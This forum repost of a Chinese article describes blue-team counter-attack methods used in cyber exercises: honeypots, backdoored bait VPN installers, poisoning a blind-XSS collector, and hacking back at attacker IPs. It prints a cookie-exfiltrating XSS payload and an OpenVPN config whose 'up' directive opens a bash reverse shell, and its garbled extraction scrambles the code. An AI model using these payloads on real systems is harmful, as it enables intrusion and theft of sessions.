设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [27361] 2020-08-15_浅谈蓝队反制手段
返回列表 发新帖
查看: 0|回复: 0

[27361] 2020-08-15_浅谈蓝队反制手段

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 4 天前 | 显示全部楼层 |阅读模式
2020-08-15_浅谈蓝队反制手段 浅 谈 蓝 队 反 制 手 段 原 创   E v i l C h e n   N E O 攻 防 队   2 0 2 0 - 0 8 - 1 5 前 言 前 言 网 络 安 全 攻 防 演 习 在 国 内 已 经 逐 渐 常 态 化 ， 从 行 业 、 区 域 （ 省 份 、 地 市 ） 到 部 级 . . . 2 0 2 0 年 1 月 份 开 始 到 现 在 可 以 说 基 本 上 每 个 月 都 有 1 - 3 场 H W ， 红 与 蓝 的 对 抗 从 未 停 息 。 红 队 的 攻 击 技 巧 可 以 无 穷 无 尽 （ 扫 描 器 、 社 工 、 0 d a y 、 近 源 . . . ） ， 但 是 对 于 蓝 队 防 守 来 说 除 了 演 习 中 常 规 的 封 I P 、 下 线 业 务 、 看 日 志 分 析 流 量 等 “ 纯 防 守 ” 操 作 以 外 ， 似 乎 实 在 是 没 有 什 么 其 他 的 防 御 手 段 了 。 笔 者 在 参 与 的 几 场 攻 防 演 习 项 目 中 担 任 “ 蓝 队 防 守 ” 角 色 ， 就 发 现 了 这 一 缺 陷 ， 似 乎 安 全 防 御 基 础 较 弱 的 厂 商 再 怎 么 充 足 的 进 行 演 习 前 准 备 ， 都 只 有 乖 乖 的 等 待 被 “ 收 割 ” 。 转 换 一 个 思 维 ， 化 被 动 为 主 动 ， 尝 试 用 “ 攻 击 ” 思 路 代 入 “ 防 守 ” 中 ， 对 “ 红 队 ” 进 行 反 向 捕 获 （ 反 制 ） 。 本 文 将 总 结 案 例 “ 反 制 ” 手 段 ， 文 中 不 足 之 处 还 望 各 位 斧 正 。 反 制 手 段 反 制 手 段 蜜 罐 篇 蜜 罐 篇 蜜 罐 设 备 蜜 罐 设 备 大 部 分 厂 商 为 了 争 取 得 到 一 些 分 数 ， 都 会 采 购 / 借 用 一 些 厂 商 的 蜜 罐 设 备 ， 但 蜜 罐 也 分 两 类 ： 传 统 、 现 代 ， 两 者 从 本 质 上 还 是 有 一 定 区 别 的 ， 这 里 我 简 单 说 一 下 自 己 的 理 解 。 传 统 蜜 罐 ： 传 统 蜜 罐 ： 蜜 罐 技 术 本 质 上 是 一 种 对 攻 击 方 进 行 欺 骗 的 技 术 ， 通 过 布 置 一 些 作 为 诱 饵 的 主 机 、 网 络 服 务 或 者 信 息 ， 诱 使 攻 击 方 对 它 们 实 施 攻 击 ， 从 而 可 以 对 攻 击 行 为 进 行 捕 获 和 分 析 ， 了 解 攻 击 方 所 使 用 的 工 具 与 方 法 ， 推 测 攻 击 意 图 和 动 机 ， 能 够 让 防 御 方 清 晰 地 了 解 他 们 所 面 对 的 安 全 威 胁 ， 并 通 过 技 术 和 管 理 手 段 来 增 强 实 际 系 统 的 防 御 能 力 。 现 代 蜜 罐 ： 现 代 蜜 罐 ： 除 了 捕 获 分 析 攻 击 行 为 外 ， 各 类 安 全 厂 商 在 蜜 罐 产 品 中 加 入 了 “ 攻 击 者 画 像 ” 这 一 功 能 作 为 “ 卖 点 ” ， 而 本 质 上 攻 击 者 画 像 是 将 第 三 方 厂 商 漏 洞 转 为 画 像 探 针 ， 利 用 第 三 方 厂 商 漏 洞 获 取 攻 击 者 所 在 此 类 厂 商 网 站 业 务 上 的 个 人 信 息 ， 此 类 漏 洞 多 半 为 前 端 类 漏 洞 ， 例 如 ： J S O N P 、 X S S . . . 除 此 之 外 还 有 网 站 伪 造 、 自 动 投 放 蜜 标 等 等 众 多 丰 富 的 功 能 。 所 以 传 统 蜜 罐 厂 商 在 这 一 块 的 被 “ 需 要 ” 不 大 ， 而 现 代 蜜 罐 厂 商 在 这 一 块 往 往 有 需 要 性 很 多 ， 就 冲 “ 攻 击 者 画 像 ” 这 一 方 面 在 演 习 过 程 中 就 可 以 为 防 守 方 加 分 。 蜜 罐 的 反 制 蜜 罐 的 反 制 现 代 化 蜜 罐 都 做 了 哪 些 反 制 的 操 作 呢 ？ 1 .   可 克 隆 相 关 系 统 页 面 ， 伪 装 “ 漏 洞 ” 系 统 2 .   互 联 网 端 投 饵 ， 一 般 会 在 G i t h u b 、 G i t e e 、 C o d i n g 上 投 放 蜜 标 （ 有 可 能 是 个 单 独 的 网 站 地 址 、 也 有 可 能 是 个 密 码 本 引 诱 中 招 ） 3 .   利 用 J S O N P 、 X S S 、 C S R F 等 前 端 类 漏 洞 获 取 访 问 蜜 标 的 攻 击 者 网 络 身 份 （ 网 络 画 像 ） 这 样 其 实 一 条 捕 获 链 就 出 现 了 （ 仅 仅 是 举 例 ， 其 实 更 多 的 是 对 方 在 做 信 息 收 集 的 时 候 探 测 到 了 此 端 口 ） ： 蜜 罐 的 一 些 功 能 细 节 不 过 多 赘 述 ， 比 如 利 用 J a v a S c r i p t 辨 别 人 机 、 C o o k i e 中 种 入 I D 防 止 切 换 I P 之 类 的 . . . 如 有 兴 趣 想 深 入 了 解 的 朋 友 可 以 去 相 关 厂 商 官 网 下 载 白 皮 书 观 看 。 注 注 ： 在 实 战 演 习 过 程 中 ， 仍 然 有 许 多 攻 击 者 中 招 ， 蜜 罐 会 存 储 身 份 数 据 ， 并 且 会 回 传 至 厂 商 进 行 存 储 。
场 景 篇 场 景 篇 主 动 攻 击 主 动 攻 击 “ 攻 击 攻 击 I P ” 防 守 日 常 就 是 看 流 量 、 分 析 流 量 ， 其 中 大 部 分 都 为 扫 描 器 流 量 ， 由 于 一 般 扫 描 器 都 会 部 署 在 V P S 上 ， 因 此 我 们 可 以 结 合 流 量 监 测 平 台 流 量 监 测 平 台 反 向 扫 描 。 导 出 演 习 期 间 攻 击 I P 列 表 ， 对 I P 进 行 端 口 扫 描 ， 从 W e b 打 入 攻 击 I P 机 器 内 部 。 发 现 了 一 堆 攻 击 I P 机 器 上 W e b 服 务 的 漏 洞 ： S Q L 注 入 、 弱 口 令 . . . 拿 下 了 一 堆 机 器 ， 也 发 现 了 大 部 分 都 是 “ 被 控 主 机 ” ， 而 非 购 买 的 V P S ， 上 面 也 大 多 是 一 些 正 常 业 务 、 非 法 业 务 在 运 转 。 除 此 之 外 ， 我 们 对 所 拿 下 的 主 机 进 行 信 息 收 集 ， 发 现 了 一 个 有 意 思 的 点 ， 大 部 分 机 器 为 W A M P （ W i n d o w s   +   A p a c h e   +   M y s q l   +   P H P ） ， 而 根 目 录 都 存 在 着 一 个 文 件 。 这 是 一 个 P H P 脚 本 后 门 ， 我 们 通 过 分 析 该 P H P 文 件 又 拿 下 数 十 台 机 器 ， 对 每 台 机 器 进 行 日 志 收 集 ， 分 析 I P 关 联 性 . . . 整 理 报 告 上 交 裁 判 组 判 定 。 邮 件 钓 鱼 反 制 邮 件 钓 鱼 反 制 安 全 防 护 基 础 较 好 的 厂 商 ， 一 般 来 说 除 了 出 动 0 d a y ， 物 理 近 源 渗 透 以 外 ， 最 常 见 的 就 是 邮 件 钓 鱼 了 ， 在 厂 商 收 到 邮 件 钓 鱼 的 情 况 下 ， 我 们 可 以 采 取 化 被 动 为 主 动 的 方 式 ， 假 装 咬 钩 ， 实 际 上 诱 导 攻 击 者 进 入 蜜 网 。 在 某 次 演 习 期 间 ， 我 们 防 守 的 客 户 单 位 就 收 到 了 钓 鱼 邮 件 ， 庆 幸 的 是 客 户 总 体 安 全 意 识 很 强 ， 加 上 有 邮 件 沙 箱 的 加 持 ， 并 没 有 实 际 人 员 中 招 ， 而 我 们 将 计 就 计 ， 部 署 一 套 虚 假 的 内 网 环 境 ， 伪 造 钓 鱼 邮 i m a g e s . p h p 北 京 时 间   2 0 1 9   年   5   月   1 5   日 微 软 发 布 安 全 补 丁 修 复 了   C V E   编 号 为   C V E - 2 0 1 9 - 0 7 0 8   的   W i n d o w s   远 程 桌 面 服 务 ( R D P ) 远 程 代 码 执 行 漏 洞 ， 该 漏 洞 在 不 需 身 份 认 证 的 情 况 下 即 可 远 程 触 发 ， 危 害 与 影 响 面 极 大 。 受 影 响 操 作 系 统 版 本 ： |   W i n d o w s   7 |   W i n d o w s   S e r v e r   2 0 0 8   R 2 |   W i n d o w s   S e r v e r   2 0 0 8 |   W i n d o w s   S e r v e r   2 0 0 3 |   W i n d o w s   X P 由 于 该 漏 洞 与 去 年 的 “ W a n n a c r y ” 勒 索 病 毒 具 有 相 同 等 级 的 危 害 ， 由 总 行 信 息 科 技 部 研 究 决 定 ， 先 推 行 紧 急 漏 洞 加 固 补 丁 ， 确 保 业 务 网 、 办 公 网 全 部 修 补 漏 洞 ， 详 情 请 阅 读 加 固 手 册 。 加 固 补 丁 程 序 解 压 密 码 ： x x x x x x 信 息 科 技 部 x x x x x x x x 年 x x 月 x x 日
件 中 招 假 象 ， 中 招 人 员 画 像 和 机 器 环 境 编 排 ： 名 字 ： 名 字 ： 许 晋   （ j i n x u ） 身 份 ： 身 份 ： 巡 检 职 员 平 时 上 机 内 容 ： 平 时 上 机 内 容 ： 看 视 频 、 打 游 戏 、 巡 检 系 统 软 件 ： 系 统 软 件 ： O f f i c e 三 件 套 ,   搜 狗 输 入 法 ,   Q Q ,   微 信 ,   X m i n d ,   谷 歌 浏 览 器 ,   W i n r a r ,   迅 雷 ,   百 度 网 盘 ,   E v e r y t h i n g ,   爱 奇 艺 ,   腾 讯 视 频 ,   Q Q 音 乐 ,   网 易 云 音 乐 ,   F a s t S t o n e   C a p t u r e . . . . 系 统 环 境 ： 系 统 环 境 ： 除 了 部 署 一 些 常 见 的 系 统 软 件 ， 我 们 还 要 创 建 一 系 列 工 作 文 档 （ 手 工 伪 造 、 由 客 户 提 供 非 敏 感 公 开 数 . . . ） ， 并 在 众 多 的 工 作 文 档 中 携 带 了 我 们 部 署 的 免 杀 后 门 （ 伪 装 成 V P N 安 装 包 或 办 公 软 件 ） 。 目 的 ： 目 的 ： 点 开 钓 鱼 邮 件 的 附 件 ， 假 装 中 招 后 ， 让 攻 击 者 在 翻 当 前 P C 机 器 的 时 候 寻 找 到 我 们 投 下 的 假 密 码 本 ， 并 结 合 V P N 安 装 包 ， 使 得 攻 击 者 下 载 V P N 安 装 包 并 进 行 安 装 ， 从 而 进 行 反 向 控 制 。 其 中 具 体 细 节 不 过 多 赘 述 ， 套 路 都 一 样 ， 在 多 次 演 习 中 都 成 功 的 反 制 到 了 攻 击 队 的 V P S ， 甚 至 在 演 习 中 我 们 拿 下 了 攻 击 队 的 终 端 P C . . . 盲 打 攻 击 反 制 盲 打 攻 击 反 制 盲 打 攻 击 算 是 在 演 习 中 比 较 不 常 见 的 了 ， 因 为 其 效 率 不 高 ， 没 办 法 直 接 的 直 控 权 限 ， 但 在 攻 击 方 穷 途 末 路 的 时 候 往 往 也 会 选 择 使 用 盲 打 漏 洞 的 方 式 来 获 取 权 限 进 而 深 入 ， 比 较 常 见 的 就 属 于 盲 打 X S S 了 。 一 般 盲 打 X S S 都 具 备 一 个 数 据 回 传 接 口 （ 攻 击 者 需 要 接 收 C o o k i e 之 类 的 数 据 ） ， 接 口 在 J a v a S c r i p t 代 码 中 是 可 以 寻 找 到 的 ， 我 们 可 以 利 用 数 据 回 传 接 口 做 2 件 事 情 ： 1 .   打 脏 数 据 回 传 给 X S S 平 台 （ 捣 乱 ） 2 .   打 虚 假 数 据 回 传 给 X S S 平 台 （ 诱 导 ） 通 常 选 择 第 二 种 方 式 更 有 意 义 ， 当 然 实 在 不 行 的 情 况 下 我 们 还 是 可 以 选 择 捣 乱 的 . . . 首 先 ， 我 们 获 取 到 了 X S S 盲 打 的 代 码 ： 跟 进 S R C 属 性 对 应 值 （ 地 址 ） ， 获 得 如 下 J a v a S c r i p t 代 码 ： 通 过 该 段 代 码 我 们 可 以 知 道 数 据 都 回 传 到 了 这 个 接 口 上 ： 我 们 制 定 了 一 个 计 划 ： 发 送 假 数 据 前 往 攻 击 者 所 使 用 的 X S S 信 息 接 收 平 台 ， 诱 导 攻 击 者 进 入 蜜 罐 。 资 源 准 备 资 源 准 备 ： 公 网 域 名 解 析 蜜 罐 地 址 （ 需 要 客 户 网 络 安 全 部 门 具 备 一 定 的 权 利 ） ， 蜜 罐 （ 需 要 具 备 蜜 罐 产 品 ） 伪 造 假 后 台 ， 并 部 署 虚 假 准 入 客 户 端 下 载 ； （ 【 细 节 】 当 攻 击 者 C o o k i e 伪 造 进 后 台 时 会 提 示 ： 当 前 登 录 I P 不 在 准 入 名 单 ） 万 事 俱 备 只 欠 东 风 ， 对 应 参 数 传 入 虚 假 诱 导 数 据 （ L o c a t i o n 地 址 为 查 看 留 言 信 息 的 地 址 ， T o p l o c a t i o n 为 引 用 该 界 面 的 地 址 ， 将 用 户 名 、 密 码 写 入 到 C o o k i e 中 配 合 “ 准 入 客 户 端 ” 的 诱 导 攻 击 ） 发 送 过 去 ， 等 待 攻 击 队 上 钩 。 ' " > < s C R i P t   s R C = h t t p s : / / X X X X / s h X 3 6 > < / s C r I p T > ( f u n c t i o n ( ) { ( n e w   I m a g e ( ) ) . s r c = ' h t t p s : / / X X X X / x s s . p h p ? d o = a p i & i d = s h X 3 6 & l o c a t i o n = ' + e s c a p e ( ( f u n c t i o n ( ) { t r y { r e t u r n   d o c u m e n t . l o c a t i o n . h r e f } c a t c h ( e ) { r e t u r n   ' ' } } ) ( ) ) + ' & t o p l o c a t i o n = ' + e s c a p e h t t p s : / / X X X X / x s s . p h p ? d o = a p i & i d = s h X 3 6 & l o c a t i o n = 地 址 & t o p l o c a t i o n = 地 址 & c o o k i e = C o o k i e 信 息 & o p e n e r =
技 巧 篇 技 巧 篇 虚 假 备 份 文 件 虚 假 备 份 文 件 配 合 蜜 罐 部 署 虚 假 漏 洞 ， 例 如 备 份 文 件 （ W W W . r a r ） 配 合 C V E - 2 0 1 8 - 2 0 2 5 0 漏 洞 。 参 考 ： h t t p s : / / g i t h u b . c o m / W y A t u / C V E - 2 0 1 8 - 2 0 2 5 0 O p e n V P N 配 置 后 门 配 置 后 门 O p e n V P N 配 置 文 件 （ O V P N 文 件 文 件 ， 是 提 供 给 O p e n V P N 客 户 端 或 服 务 器 的 配 置 文 件 ） 是 可 以 修 改 并 加 入 命 令 的 。 O V P N 文 件 最 简 单 的 形 式 如 下 ： 以 上 文 件 表 示 ， 客 户 端 会 以 开 放 的 ， 不 用 身 份 验 证 或 加 密 方 式 去 连 接 I P 为 1 9 2 . 1 6 8 . 3 1 . 1 3 7 的 远 程 服 务 ， 在 此 过 程 中 ， 会 建 立 一 种 名 为 t u n 的 路 由 模 式 ， 用 它 来 在 系 统 不 同 客 户 端 间 执 行 点 对 点 协 议 ， 例 如 ， 这 里 的 t u n 路 由 模 式 下 ， t u n 客 户 端 为 1 0 . 2 0 0 . 0 . 2 ， t u n 服 务 端 为 1 0 . 2 0 0 . 0 . 1 ， 也 就 是 本 地 的 t u n 设 备 地 址 。 这 里 的 三 行 O V P N 配 置 文 件 只 是 一 个 简 单 的 示 例 ， 真 正 应 用 环 境 中 的 O V P N 文 件 随 便 都 是 数 百 行 ， 其 中 包 含 了 很 多 复 杂 的 功 能 配 置 。 O p e n V P N   配 置 功 能 的   u p   命 令 可 以 使 得 添 加 配 置 文 件 后 执 行 我 们 所 想 让 其 执 行 的 命 令 ， 官 方 文 档 中 有 说 明 ： h t t p s : / / o p e n v p n . n e t / c o m m u n i t y - r e s o u r c e s / r e f e r e n c e - m a n u a l - f o r - o p e n v p n - 2 - 0 / 成 功 启 用   T U N / T A P   模 式 后 的   c m d   命 令 。 该 c m d 命 令 中 包 含 了 一 个 脚 本 程 序 执 行 路 径 和 可 选 的 多 个 执 行 参 数 。 这 种 执 行 路 径 和 参 数 可 由 单 引 号 或 双 引 号 ， 或 者 是 反 斜 杠 来 强 调 ， 中 间 用 空 格 区 分 。 u p 命 令 可 用 于 指 定 路 由 ， 这 种 模 式 下 ， 发 往 V P N 另 一 端 专 用 子 网 的 I P 流 量 会 被 路 由 到 隧 道 中 去 。 本 质 上 ， u p 命 令 会 执 行 任 何 你 指 向 的 脚 本 程 序 。 如 果 受 害 者 使 用 的 是 支 持 的 B a s h 命 令 版 本 ， 那 么 在 受 害 者 系 统 上 创 建 一 个 反 弹 控 制   s h e l l   轻 而 易 举 。 就 如 以 下 O V P N 文 件 中 就 可 创 建 一 个 连 接 到   1 9 2 . 1 6 8 . 3 1 . 1 3 8 : 9 0 9 0   的 反 弹 s h e l l 。 需 要 注 意 的 是 ， u p   命 令 需 要 成 功 连 接 主 机 才 会 执 行 ， 也 就 是 说 1 9 2 . 1 6 8 . 3 1 . 1 3 7 需 要 真 实 存 在 并 可 以 连 接 。 兵 器 漏 洞 兵 器 漏 洞 可 以 尝 试 挖 掘 蚁 剑 、 冰 蝎 、 菜 刀 、 B u r p S u i t e 、 S Q L m a p 、 A W V S 的 0 d a y 漏 洞 （ 需 要 一 定 的 技 术 水 平 ） ， 或 利 用 历 史 漏 洞 部 署 相 关 环 境 进 行 反 打 ， 例 如 蚁 剑 ： h t t p s : / / g i t e e . c o m / m i r r o r s / a n t S w o r d / b l o b / m a s t e r / C H A N G E L O G . m d 历 史 版 本 中 出 现 诸 多 X S S 漏 洞 - > R C E ： r e m o t e   1 9 2 . 1 6 8 . 3 1 . 1 3 7 i f c o n f i g   1 0 . 2 0 0 . 0 . 2   1 0 . 2 0 0 . 0 . 1 d e v   t u n / d e v / t c p r e m o t e   1 9 2 . 1 6 8 . 3 1 . 1 3 7 i f c o n f i g   1 0 . 2 0 0 . 0 . 2   1 0 . 2 0 0 . 0 . 1 d e v   t u n s c r i p t - s e c u r i t y   2 u p   " / b i n / b a s h   - c   ' / b i n / b a s h   - i   >   / d e v / t c p / 1 9 2 . 1 6 8 . 3 1 . 1 3 8 / 9 0 9 0   0 < & 1   2 > & 1 & ' "
文 末 文 末 只 要 思 维 活 跃 ， 枯 燥 无 味 的 一 件 事 情 也 可 以 变 得 生 动 有 趣 ， 生 活 如 此 ， 工 作 亦 如 此 。 蓝 队 反 制 ， 需 要 具 备 这 几 个 条 件 才 能 淋 漓 尽 至 的 挥 洒 出 来 ： 1 .   客 户 安 全 相 关 部 门 的 权 力 要 高 2 .   以 自 家 厂 商 为 主 导 的 防 守 项 目 3 .   最 好 具 备 现 成 的 现 代 蜜 罐 产 品 未 来 ， 攻 防 对 抗 演 习 不 仅 仅 是 前 几 年 所 展 示 的 那 样 ： 蓝 队 只 要 知 道 防 守 手 段 ； 而 趋 势 将 会 慢 慢 的 偏 向 于 真 正 的 攻 防 ， 蓝 队 不 仅 要 会 基 本 的 防 守 手 段 ， 还 要 具 备 强 悍 的 对 抗 能 力 ， 与 红 队 进 行 对 抗 ， 这 对 蓝 队 成 员 的 攻 防 技 术 水 平 也 是 一 种 更 高 的 考 验 。 最 后 的 最 后 ， H A C K   T H E   W O R L D   -   T O   D O   I T . R e f e r e n c e 对 某 攻 击 队 的 W e b s h e l l 进 行 分 析   -   h t t p s : / / g h 0 s t . c n / a r c h i v e s / 2 0 1 9 - 0 8 - 2 1 / 1 从 O p e n V P N 配 置 文 件 中 创 建 反 弹 S h e l l 实 现 用 户 系 统 控 制   -   h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / t e r m i n a l / 1 7 5 8 6 2 . h t m l
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 07:14 , Processed in 0.329232 second(s), 31 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表